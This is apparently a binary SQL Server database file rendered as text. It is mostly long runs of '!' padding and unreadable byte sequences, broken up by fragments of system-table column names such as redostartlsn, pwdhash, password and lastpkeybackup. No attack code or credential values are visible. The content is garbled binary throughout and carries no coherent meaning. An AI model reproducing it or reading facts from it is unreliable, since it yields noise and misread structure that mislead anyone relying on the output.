!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhCe@



b
=

_:\7


~
Y
4

			{	V	1		"iDfAc>s`7O_IJJJJJJJJKKKKKKKKKKNNNNNRRUUUVVVVVVVWZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbPTYYYYOOJJ^^^KKKw!w!֣֣bbbbbbbbbbb	9K9K9K9K9K9K9K9K9K9K9K	N]?	\1i



	c		c	ǎǎ|*6|*6`YOOJJ"U"U"Ux.P]!]!]!]!]!]!]!x.Px.P
x.P	x.Px.Px.Px.Px.P	x.P
x.Px.P^^^&m1&m1_2_233444j8j8j899':':(C(C(C(CADADFF~H~H)?K)?K)?K)?K)?KbcLeQXXX+\+\+\d]d]7_\`\`\`HaHaȃcȃcwdwd,lee5`fKKKw!w!֣֣\\e!e!$zz]($'~<A*eH*BKbbbbbbbbbbb	9K9K9K~B$pR4




b
D
&

rnP2`T68

					f	H	*		vX:hJ,xZ<jL.



z\> lt
N0V
(
|^@"ndFP2~`})^I\6.internalstatus6,lastupdatelsn6
lname6 maxsize6pname60readonlybaselsn6(readonlylsn6*readwritelsn64redostartforkguid6*redostartlsn6,redotargetlsn6size6status6
$batchsize64bXVTDocidUseBaseT6crend6"crerrors6crrows6	"crschver6 crstart6
"crtsnext6crtype6fgid6id6indid6$nextdocid6(sensitivity6status6 created6
(deflanguage6 dfltsch6id6	"modified6name6"password6sid6status6type6"category6$cmptlevel6crdate6id6"modified6name6
scope6sid6status6 status26	(svcbrkrguid6class6 grantee6 grantor6id6state6subid6type6"
 created6"id6"	 intprop6""modified6"name6" nsclass6"nsid6"pclass6"pid6"status6" status26"type6)chk6)colid6)
(collationid6)dflt6)id6)idtval6)length6)"maxinrow6)name6)number6)prec6)	scale6)status6)utype6)
xmlns6)xtype6*crdate6*dbname6*id6*	lang6*modate6*name6*
 pwdhash6*sid6*status6*type6+ catalog6+cid6+	.connecttimeout6+id6+modate6+name6+ product6+"provider6+
*querytimeout6+status6,class6, created6,id6, intprop6,"modified6,name6,nsid6,status6-id6-$msglangid6-"severity6-status6-text6.cert6."encrtype6.id6.issuer6.
.lastpkeybackup6.name6.pkey6.snum!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!D*rX:




j
J
4

nT6 jJ0




n
R
4

					h	R	8		lN4hL0vX@$
nT6bB$nL,
zV8jB`*_
|F0*FG4ph0?PRIMARY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!